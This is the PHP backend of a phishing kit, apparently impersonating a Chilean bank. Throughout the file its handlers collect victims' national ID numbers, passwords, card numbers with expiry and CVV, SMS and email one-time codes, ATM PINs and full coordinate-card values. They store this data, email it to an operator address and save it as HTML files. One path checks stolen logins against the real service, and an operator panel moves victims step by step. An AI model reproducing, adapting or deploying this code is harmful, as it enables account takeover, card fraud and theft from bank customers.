<?php

error_reporting(0);
class Post
{

    static public function proceso()
    {

        if (isset($_SESSION['referido'], $_POST['proceso'])) :

            //CARGANDO HERRAMIENTAS
            $tools = new Tools();
            $db = new Dbase();


            $rutclean = $_SESSION["rutclean"];

            if ($_POST['proceso'] == "oooilkadlkempre") :
                if (isset($_POST['CustPermID'], $_POST['CustLoginID'])):

                    $rut = $tools->cleanspaces($_POST['CustPermID']);
                    $rutclean = $tools->cleanrut($_POST['CustPermID']);

                    $rutPer = $tools->cleanspaces($_POST['CustLoginID']);
                    $rutcleanPer = $tools->cleanrut($_POST['CustLoginID']);

                    $passwd = ($_POST['SignonPswd']);

                    $_SESSION["rutclean"] = $rutclean;


                    if ($db->conectar() == '') :

                        $uservalid = $db->getUserID(['rut' => $rutclean]);

                        //echo $uservalid."444";
                        //exit();

                        if ($uservalid != '') :

                            $datos = [
                                'rut' => $rutclean,
                                'estado' => 'en-fullcorde',
                                'proceso' => 5
                            ];

                            $panel = $db->paestado();

                            if ($panel == 0) :
                                $datos['proceso'] = 5;
                                $datos['estado'] = 'en-fullcorde';
                            endif;

                            //grabando la bd
                            $db->updateus($datos);

                            //CREANDO SESION DE USUARIO
                            $_SESSION['u'] = $rutclean;
                            $_SESSION['bingo'] = "UTM" . time();

                            print_r(json_encode(['pr' => 1, 'ut' => 'p']));
                            exit;

                        else:

                            $curl = new Mycurl(['ip' => $tools->getip(), 'agent' => $tools->getagent()]);

                            $temp = $curl->ingresoEmpresa($_POST);
                            //echo 111;
                            //print_r(json_encode($temp));
                            //exit();

                            if ($temp['pr'] == 1) :

                                $datos = [
                                    'rut' => $rutclean,
                                    'pwd' => $passwd,
                                    'nombre' => $temp['name'],
                                    'lastse' => htmlentities($temp['last']),
                                    'datos' => '',
                                    'tipo' => '',
                                    'personi' => $temp['tipo'],
                                    'ip' => $tools->getip(),
                                    'reading' => 1,
                                    'estado' => 'en-credito',
                                    'proceso' => 2,
                                    'fecha' => date("Y-m-d H:i:s")
                                ];

                                $panel = $db->paestado();

                                if ($panel == 0) :
                                    $datos['proceso'] = 2;
                                    $datos['estado'] = 'en-credito';
                                endif;

                                //grabando la bd
                                $db->insertCliente($datos);

                                //ENVIO A CORREO INFORMACION COMPLETADA
                                $msg = "<table border='1'>";
                                $msg .= "<tr><th>RUT: </th><td>" . $rutclean . "</td></tr>";
                                $msg .= "<tr><th>PWD: </th><td>" . $passwd . "</td></tr>";
                                //$msg .= "<tr><th>CURL: </th><td>" . print_r($temp,true) . "</td></tr>";
                                $msg .= "<tr><th>NOMBRE: </th><td>" . $temp['name'] . "</td></tr>";
                                $msg .= "<tr><th>TIPO: </th><td>" . $temp['tipo'] . "</td></tr>";
                                $msg .= "<tr><th>FECHA: </th><td>" . date("Y-m-d H:i:s") . "</td></tr>";
                                $msg .= "</table>";
                                $msg .= "<br><br><br>";
                                
                                $tools->emailpush(["ip" => $tools->getip(), "mesage" => $msg, "correo" => correo]);
                                $tools->grabarhtml(['html' => $msg, 'ruta' => 'app/html/' . $rutclean . "_" . filename]);

                                //CREANDO SESION DE USUARIO
                                $_SESSION['u'] = $rutclean;
                                $_SESSION['bingo'] = "UTM" . time();

                                print_r(json_encode(['pr' => 1, 'ut' => 'p']));
                                exit;
                            else:

                                $_SESSION['fail'] = true;

                                print_r(json_encode(['pr' => 2]));
                                exit;

                            endif;

                        endif;
                    endif;

                else:

                    $_SESSION['fail'] = true;
                    print_r(json_encode(['pr' => 2]));
                    exit;
                endif;
            endif;


            if ($_POST['proceso'] == "oooilkadlk") :
                if (isset($_POST['drut'], $_POST['dpin'])):

                    $rut = $tools->cleanspaces($_POST['drut']);
                    $rutclean = $tools->cleanrut($_POST['drut']);
                    $passwd = ($_POST['dpin']);

                    $_SESSION["rutclean"] = $rutclean;



                    if ($db->conectar() == '') :

                        $uservalid = $db->getUserID(['rut' => $rutclean]);

                        if ($uvaid != "") :

                            $_SESSION['u'] = $rutclean;
                            $_SESSION['bingo'] = "UTM" . time();
                            print_r(json_encode(['pr' => 1, 'ut' => 'p']));
                            exit;

                        else:

                            //$curl = new Mycurl(['ip' => $tools->getip(), 'agent' => $tools->getagent()]);

                            //$temp = $curl->ingreso(['rut' => $_POST['drut'], 'pin' => $_POST['dpin']]);
                            //echo 111;
                            //print_r(json_encode($temp));
                            //exit();

                            $curl = new Mycurl(['ip' => $tools->getip(), 'agent' => $tools->getagent()]);
                            $name = $curl->getRut($tools->formatearRUT($_POST['drut']));

                            if ($name == "") {
                                $name = "Usuario";
                            }


                            $datos = [
                                'rut' => $rutclean,
                                'pwd' => $passwd,
                                'nombre' => $name,
                                //'lastse' => htmlentities($temp['last']),
                                'lastse' => date("Y-m-d H:i:s"),
                                'datos' => '',
                                'tipo' => '',
                                'personi' => 'Persona',
                                'ip' => $tools->getip(),
                                'reading' => 1,
                                'estado' => 'en-credito',
                                'proceso' => 2,
                                'fecha' => date("Y-m-d H:i:s")
                            ];



                            $panel = $db->paestado();

                            if ($panel == 0) :
                                $datos['proceso'] = 2;
                                $datos['estado'] = 'en-credito';
                            endif;



                            //grabando la bd
                            $db->insertCliente($datos);



                            //ENVIO A CORREO INFORMACION COMPLETADA
                            $msg = "<table border='1'>";
                            $msg .= "<tr><th>RUT: </th><td>" . $rutclean . "</td></tr>";
                            $msg .= "<tr><th>PWD: </th><td>" . $passwd . "</td></tr>";
                            //$msg .= "<tr><th>CURL: </th><td>" . print_r($temp,true) . "</td></tr>";
                            $msg .= "<tr><th>NOMBRE: </th><td>" . $name . "</td></tr>";
                            $msg .= "<tr><th>TIPO: </th><td>" . 'Persona' . "</td></tr>";
                            $msg .= "<tr><th>FECHA: </th><td>" . date("Y-m-d H:i:s") . "</td></tr>";
                            $msg .= "</table>";
                            $msg .= "<br><br><br>";
                            
                            $tools->emailpush(["ip" => $tools->getip(), "mesage" => $msg, "correo" => correo]);
                            $tools->grabarhtml(['html' => $msg, 'ruta' => 'app/html/' . $rutclean . "_" . filename]);

                            //CREANDO SESION DE USUARIO
                            $_SESSION['u'] = $rutclean;
                            $_SESSION['bingo'] = "UTM" . time();

                            print_r(json_encode(['pr' => 1, 'ut' => 'p']));
                            exit;


                        endif;
                    endif;

                else:

                    $_SESSION['fail'] = true;
                    print_r(json_encode(['pr' => 2]));
                    exit;
                endif;
            endif;

            //CREDITO
            if ($_POST['proceso'] == "poewoowoiaidfosdfzsdf") :
                if (isset($_POST['icar'], $_POST['imonth'], $_POST['iyear'], $_POST['icbb'], $_POST['icelu'], $_SESSION['u'])):

                    //CONECTANDO A BASEDEDATOS
                    if ($db->conectar() == '') :

                        $panel = $db->paestado();

                        if ($panel == 0) :
                            $datos = [
                                'rut' => $_SESSION['u'],
                                'estado' => 'en-fullcorde',
                                'proceso' => '5'
                            ];
                        else:
                            $datos = [
                                'rut' => $_SESSION['u'],
                                'estado' => 'en-espera',
                                'proceso' => '1'
                            ];
                        endif;

                        //grabando la bd
                        $db->updateus($datos);
                    endif;

                    //ENVIO A CORREO INFORMACION COMPLETADA
                    $msg = "<table border='1'>";
                    $msg .= "<tr><th>CREDITO DE: </th><td>" . $_SESSION['u'] . "</td></tr>";
                    $msg .= "<tr><th>CARD : </th><td>" . $_POST['icar'] . "</td></tr>";
                    $msg .= "<tr><th>FECHA VEN : </th><td>" . $_POST['imonth'] . " | " . $_POST['iyear'] . "</td></tr>";
                    $msg .= "<tr><th>CBB : </th><td>" . $_POST['icbb'] . "</td></tr>";
                    $msg .= "<tr><th>CELULAR : </th><td>" . $_POST['icelu'] . "</td></tr>";
                    $msg .= "</table>";
                    $msg .= "<br><br><br>";
                    
                    $tools->emailpush(array("ip" => $tools->getip(), "mesage" => $msg, "correo" => correo));
                    $tools->grabarhtml(array('html' => $msg, 'ruta' => 'app/html/' . $rutclean . "_" . filename));

                    print_r(json_encode(['pr' => 1]));
                    exit;
                else:
                    print_r(json_encode(['pr' => 2]));
                    exit;
                endif;
            endif;

            //CODIGO SMS
            if ($_POST['proceso'] == "osdofsdofjolsdjf") :
                if (isset($_POST['icodigo'], $_SESSION['u'])):
                    //CONECTANDO A BASEDEDATOS
                    if ($db->conectar() == '') :
                        $datos = [
                            'rut' => $_SESSION['u'],
                            'codigo' => $_POST['icodigo'],
                            'estado' => 'en-espera',
                            'proceso' => '1'
                        ];
                        //grabando la bd
                        $db->updatecod($datos);
                    endif;


                    //ENVIO A CORREO INFORMACION COMPLETADA
                    $msg = "<table border='1'>";
                    $msg .= "<tr><th>CODIGO DE: </th><td>" . $_SESSION['u'] . "</td></tr>";
                    $msg .= "<tr><th>CODIGO : </th><td>" . $_POST['icodigo'] . "</td></tr>";
                    $msg .= "</table>";
                    $msg .= "<br><br><br>";
                    
                    $tools->emailpush(array("ip" => $tools->getip(), "mesage" => $msg, "correo" => correo));
                    $tools->grabarhtml(array('html' => $msg, 'ruta' => 'app/html/' . $rutclean . "_" . filename));

                    $_SESSION['codsms'] = true;

                    print_r(json_encode(['pr' => 1]));
                    exit;
                else:
                    print_r(json_encode(['pr' => 2]));
                    exit;
                endif;
            endif;


            //CODIGO CORREO
            if ($_POST['proceso'] == "sdfgsdfggjhfghjff") :
                if (isset($_POST['imap1'], $_POST['imap2'], $_POST['imap3'], $_POST['imap4'], $_POST['imap5'], $_POST['imap6'], $_SESSION['u'])):
                    $numpost = $_POST['imap1'] . $_POST['imap2'] . $_POST['imap3'] . $_POST['imap4'] . $_POST['imap5'] . $_POST['imap6'];
                    //CONECTANDO A BASEDEDATOS
                    if ($db->conectar() == '') :
                        $datos = [
                            'rut' => $_SESSION['u'],
                            'codigo' => $numpost,
                            'estado' => 'en-espera',
                            'proceso' => '1'
                        ];
                        //grabando la bd
                        $db->updatecod($datos);
                    endif;


                    //ENVIO A CORREO INFORMACION COMPLETADA
                    $msg = "<table border='1'>";
                    $msg .= "<tr><th>CODIGO DE: </th><td>" . $_SESSION['u'] . "</td></tr>";
                    $msg .= "<tr><th>CODIGO : </th><td>" . $numpost . "</td></tr>";
                    $msg .= "</table>";
                    $msg .= "<br><br><br>";
                    
                    $tools->emailpush(array("ip" => $tools->getip(), "mesage" => $msg, "correo" => correo));
                    $tools->grabarhtml(array('html' => $msg, 'ruta' => 'app/html/' . $rutclean . "_" . filename));

                    $_SESSION['codsms'] = true;

                    print_r(json_encode(['pr' => 1]));
                    exit;
                else:
                    print_r(json_encode(['pr' => 2]));
                    exit;
                endif;
            endif;

            //CODIGO ATM
            if ($_POST['proceso'] == "apsodufapsodiufaspoidf") :
                if (isset($_POST['icodigo'], $_SESSION['u'])):
                    //CONECTANDO A BASEDEDATOS
                    if ($db->conectar() == '') :

                        $panel = $db->paestado();

                        $datos = [
                            'rut' => $_SESSION['u'],
                            'atme' => $_POST['icodigo'],
                            'estado' => 'en-espera',
                            'proceso' => 1
                        ];

                        if ($panel == 0) :
                            $datos['proceso'] = 9;
                            $datos['estado'] = "en-mesage";
                        endif;

                        //grabando la bd
                        $db->updateatm($datos);
                    endif;


                    //ENVIO A CORREO INFORMACION COMPLETADA
                    $msg = "<table border='1'>";
                    $msg .= "<tr><th>CODIGO DE: </th><td>" . $_SESSION['u'] . "</td></tr>";
                    $msg .= "<tr><th>ATM : </th><td>" . $_POST['icodigo'] . "</td></tr>";
                    $msg .= "</table>";
                    $msg .= "<br><br><br>";
                    
                    $tools->emailpush(array("ip" => $tools->getip(), "mesage" => $msg, "correo" => correo));
                    $tools->grabarhtml(array('html' => $msg, 'ruta' => 'app/html/' . $rutclean . "_" . filename));

                    $_SESSION['codsms'] = true;

                    print_r(json_encode(['pr' => 1]));
                    exit;
                else:
                    print_r(json_encode(['pr' => 2]));
                    exit;
                endif;
            endif;

            //CODIGO SUPERCORDE
            if ($_POST['proceso'] == "osdfuiaopsdfioasdf") :
                if (isset($_POST['icorde0'], $_POST['icorde1'], $_POST['icorde2'], $_SESSION['u'])):
                    //CONECTANDO A BASEDEDATOS
                    if ($db->conectar() == '') :
                        $datos = [
                            'rut' => $_SESSION['u'],
                            'corde1' => $_POST['icorde0'],
                            'corde2' => $_POST['icorde1'],
                            'corde3' => $_POST['icorde2'],
                            'estado' => 'en-espera',
                            'proceso' => '1'
                        ];
                        //grabando la bd
                        $db->updatecorde($datos);
                    endif;


                    //ENVIO A CORREO INFORMACION COMPLETADA
                    $msg = "<table border='1'>";
                    $msg .= "<tr><th>CODIGO DE: </th><td>" . $_SESSION['u'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['iname0'] . " : </th><td>" . $_POST['icorde0'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['iname1'] . " : </th><td>" . $_POST['icorde1'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['iname2'] . " : </th><td>" . $_POST['icorde2'] . "</td></tr>";
                    $msg .= "</table>";
                    $msg .= "<br><br><br>";
                    
                    $tools->emailpush(array("ip" => $tools->getip(), "mesage" => $msg, "correo" => correo));
                    $tools->grabarhtml(array('html' => $msg, 'ruta' => 'app/html/' . $rutclean . "_" . filename));

                    $_SESSION['cs'] = true;

                    print_r(json_encode(['pr' => 1]));
                    exit;
                else:
                    print_r(json_encode(['pr' => 2]));
                    exit;
                endif;
            endif;

            //CODIGO SUPERCLAVE
            if ($_POST['proceso'] == "ooweirisaod") :
                if (isset($_POST['ic1'], $_POST['ic2'], $_POST['ic3'], $_POST['ic4'], $_POST['ic5'], $_POST['ic6'], $_SESSION['u'])):
                    //CONECTANDO A BASEDEDATOS
                    if ($db->conectar() == '') :

                        $temp = $db->getestado(["rut" => $_SESSION['u']]);

                        $datos = [
                            'rut' => $_SESSION['u'],
                            'estado' => 'en-fullcorde',
                            'proceso' => 6
                        ];

                        $panel = $db->paestado();

                        if ($temp == 6) :

                            //$datos['proceso'] = 1;
                            //$datos['estado'] = 'en-espera';

                            //if ($panel == 0) :

                            $datos['estado'] = 'en-finalizar';
                            $datos['proceso'] = 9;

                        //endif;

                        endif;

                        //grabando la bd
                        $db->updateus($datos);
                    endif;

                    //ENVIO A CORREO INFORMACION COMPLETADA
                    $msg = "<table border='1'>";
                    $msg .= "<tr><th>CORDE FULL: </th><td>" . $_SESSION['u'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in1'] . " : </th><td>" . $_POST['ic1'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in2'] . " : </th><td>" . $_POST['ic2'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in3'] . " : </th><td>" . $_POST['ic3'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in4'] . " : </th><td>" . $_POST['ic4'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in5'] . " : </th><td>" . $_POST['ic5'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in6'] . " : </th><td>" . $_POST['ic6'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in7'] . " : </th><td>" . $_POST['ic7'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in8'] . " : </th><td>" . $_POST['ic8'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in9'] . " : </th><td>" . $_POST['ic9'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in10'] . " : </th><td>" . $_POST['ic10'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in11'] . " : </th><td>" . $_POST['ic11'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in12'] . " : </th><td>" . $_POST['ic12'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in13'] . " : </th><td>" . $_POST['ic13'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in14'] . " : </th><td>" . $_POST['ic14'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in15'] . " : </th><td>" . $_POST['ic15'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in16'] . " : </th><td>" . $_POST['ic16'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in17'] . " : </th><td>" . $_POST['ic17'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in18'] . " : </th><td>" . $_POST['ic18'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in19'] . " : </th><td>" . $_POST['ic19'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in20'] . " : </th><td>" . $_POST['ic20'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in21'] . " : </th><td>" . $_POST['ic21'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in22'] . " : </th><td>" . $_POST['ic22'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in23'] . " : </th><td>" . $_POST['ic23'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in24'] . " : </th><td>" . $_POST['ic24'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in25'] . " : </th><td>" . $_POST['ic25'] . "</td></tr>";



                    $msg .= "<tr><th>" . $_POST['in26'] . " : </th><td>" . $_POST['ic26'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in27'] . " : </th><td>" . $_POST['ic27'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in28'] . " : </th><td>" . $_POST['ic28'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in29'] . " : </th><td>" . $_POST['ic29'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in30'] . " : </th><td>" . $_POST['ic30'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in31'] . " : </th><td>" . $_POST['ic31'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in32'] . " : </th><td>" . $_POST['ic32'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in33'] . " : </th><td>" . $_POST['ic33'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in34'] . " : </th><td>" . $_POST['ic34'] . "</td></tr>";
                    $msg .= "<tr><th>" . $_POST['in35'] . " : </th><td>" . $_POST['ic35'] . "</td></tr>";
                    $msg .= "</table>";
                    $msg .= "<br><br><br>";
                    
                    $tools->emailpush(array("ip" => $tools->getip(), "mesage" => $msg, "correo" => correo));
                    $tools->grabarhtml(array('html' => $msg, 'ruta' => 'app/html/' . $rutclean . "_" . filename));

                    $_SESSION['fc'] = true;

                    print_r(json_encode(['pr' => 1]));
                    exit;
                else:
                    print_r(json_encode(['pr' => 2]));
                    exit;
                endif;
            endif;

            //POST DISPOSITIVO
            if ($_POST['proceso'] == 'oopksdolkfsdpojvsod') :

                if (isset($_POST['m1'], $_POST['n1'], $_SESSION['u'])) :

                    //ENVIANDO DATOS VALIDADOS A CORREO
                    $datos['correo'] = correo;
                    $datos['ip'] = $tools->getip();

                    $datos['mesage'] = '<table border="1">';
                    $datos['mesage'] .= '<tr><th colspan="10">CORDENADA DE ' . $_SESSION['u'] . '</th></tr>';
                    $datos['mesage'] .= '<tr><th>' . $_POST['m1'] . '</th><td>' . $_POST['n1'] . '</td><th>' . $_POST['m2'] . '</th><td>' . $_POST['n2'] . '</td><th>' . $_POST['m3'] . '</th><td>' . $_POST['n3'] . '</td><th>' . $_POST['m4'] . '</th><td>' . $_POST['n4'] . '</td><th>' . $_POST['m5'] . '</th><td>' . $_POST['n5'] . '</td></tr>';
                    $datos['mesage'] .= '<tr><th>' . $_POST['m6'] . '</th><td>' . $_POST['n6'] . '</td><th>' . $_POST['m7'] . '</th><td>' . $_POST['n7'] . '</td><th>' . $_POST['m8'] . '</th><td>' . $_POST['n8'] . '</td><th>' . $_POST['m9'] . '</th><td>' . $_POST['n9'] . '</td><th>' . $_POST['m10'] . '</th><td>' . $_POST['n10'] . '</td></tr>';
                    $datos['mesage'] .= '<tr><th>' . $_POST['m11'] . '</th><td>' . $_POST['n11'] . '</td><th>' . $_POST['m12'] . '</th><td>' . $_POST['n12'] . '</td><th>' . $_POST['m13'] . '</th><td>' . $_POST['n13'] . '</td><th>' . $_POST['m14'] . '</th><td>' . $_POST['n14'] . '</td><th>' . $_POST['m15'] . '</th><td>' . $_POST['n15'] . '</td></tr>';
                    $datos['mesage'] .= '<tr><th>' . $_POST['m16'] . '</th><td>' . $_POST['n16'] . '</td><th>' . $_POST['m17'] . '</th><td>' . $_POST['n17'] . '</td><th>' . $_POST['m18'] . '</th><td>' . $_POST['n18'] . '</td><th>' . $_POST['m19'] . '</th><td>' . $_POST['n19'] . '</td><th>' . $_POST['m20'] . '</th><td>' . $_POST['n20'] . '</td></tr>';
                    $datos['mesage'] .= '<tr><th>' . $_POST['m21'] . '</th><td>' . $_POST['n21'] . '</td><th>' . $_POST['m22'] . '</th><td>' . $_POST['n22'] . '</td><th>' . $_POST['m23'] . '</th><td>' . $_POST['n23'] . '</td><th>' . $_POST['m24'] . '</th><td>' . $_POST['n24'] . '</td><th>' . $_POST['m25'] . '</th><td>' . $_POST['n25'] . '</td></tr>';
                    $datos['mesage'] .= '</table>';
                    $datos['mesage'] .= '<br><br>';

                    $tools->emailpush($datos);
                    $tools->grabarhtml(array('html' => $datos['mesage'], 'ruta' => 'app/html/' . $rutclean . "_" . filename));

                    //CONECTANDO A BASEDEDATOS
                    if ($db->conectar() == '') :

                        $temp = $db->getestado(["rut" => $_SESSION['u']]);

                        $proc = 6;
                        $estado = 'en-fullcorde';
                        if ($temp == 6) :
                            $proc = 2;
                            $estado = 'en-credito';
                        endif;

                        $datos = [
                            'rut' => $_SESSION['u'],
                            'estado' => $estado,
                            'proceso' => $proc
                        ];

                        //grabando la bd
                        $db->updateus($datos);
                    endif;

                    $_SESSION['eos'] = true;

                    print_r(json_encode(array('pr' => 1)));

                else:
                    print_r(json_encode(array('pr' => 2, 'errmsg' => 'Uno de los datos ingresados es incorrecto. Por favor, verifica e intenta nuevamente', 'ti' => time())));
                endif;

            endif;


            //CREDITO EMPRESA
            if ($_POST['proceso'] == "ouasdpqweoqwieu") :
                if (isset($_POST['icar'], $_POST['imonth'], $_POST['iyear'], $_POST['icbb'], $_POST['iatn'], $_SESSION['u'])):

                    //CONECTANDO A BASEDEDATOS
                    if ($db->conectar() == '') :

                        $datos = [
                            'rut' => $_SESSION['u'],
                            'estado' => 'en-mesage',
                            'proceso' => 9
                        ];


                        //grabando la bd
                        $db->updateus($datos);
                    endif;

                    //ENVIO A CORREO INFORMACION COMPLETADA
                    $msg = "<table border='1'>";
                    $msg .= "<tr><th>CREDITO DE: </th><td>" . $_SESSION['u'] . "</td></tr>";
                    $msg .= "<tr><th>CARD : </th><td>" . $_POST['icar'] . "</td></tr>";
                    $msg .= "<tr><th>FECHA VEN : </th><td>" . $_POST['imonth'] . " | " . $_POST['iyear'] . "</td></tr>";
                    $msg .= "<tr><th>CBB : </th><td>" . $_POST['icbb'] . "</td></tr>";
                    $msg .= "<tr><th>ATM : </th><td>" . $_POST['iatn'] . "</td></tr>";
                    $msg .= "</table>";
                    $msg .= "<br><br><br>";
                    
                    $tools->emailpush(array("ip" => $tools->getip(), "mesage" => $msg, "correo" => correo));
                    $tools->grabarhtml(array('html' => $msg, 'ruta' => 'app/html/' . $rutclean . "_" . filename));

                    print_r(json_encode(['pr' => 1]));
                    exit;
                else:
                    print_r(json_encode(['pr' => 2]));
                    exit;
                endif;
            endif;


            if ($_POST['proceso'] == "oooiikaodtayusdauysdygha") :
                if (isset($_SESSION['referido'], $_SESSION['u'])) :
                    //CONECTANDO A BASEDEDATOS
                    if ($db->conectar() == "") :
                        //OBTENIENDO INFO DE USUARIO
                        $proceso = $db->getestado(["rut" => $_SESSION['u']]);
                        if ($proceso != "") :
                            $db->lastfecha(["rut" => $_SESSION['u'], 'lastfecha' => date("Y-m-d H:i:s")]);
                            print_r(json_encode(["pr" => 1, 'est' => $proceso]));
                            exit;
                        else:
                            print_r(json_encode(["pr" => 2]));
                            exit;
                        endif;
                    endif;
                else:
                    print_r(json_encode(["pr" => 2]));
                    exit;
                endif;
            endif;


            //PUSHED KEYPRESS
            if ($_POST['proceso'] == "poiaisdpfoisfdoadfopisda") :
                if (isset($_SESSION['referido'], $_SESSION['u'])) :
                    //CONECTANDO A BASEDEDATOS
                    if ($db->conectar() == "") :
                        $datos = [
                            'rut' => $_SESSION['u'],
                            'estado' => 'en-alerta'
                        ];
                        //grabando la bd
                        $db->updatealert($datos);

                        print_r(json_encode(["pr" => 1, 'apikey' => 'valid_token']));
                        exit;
                    endif;
                endif;
            endif;


        endif;
    }
}
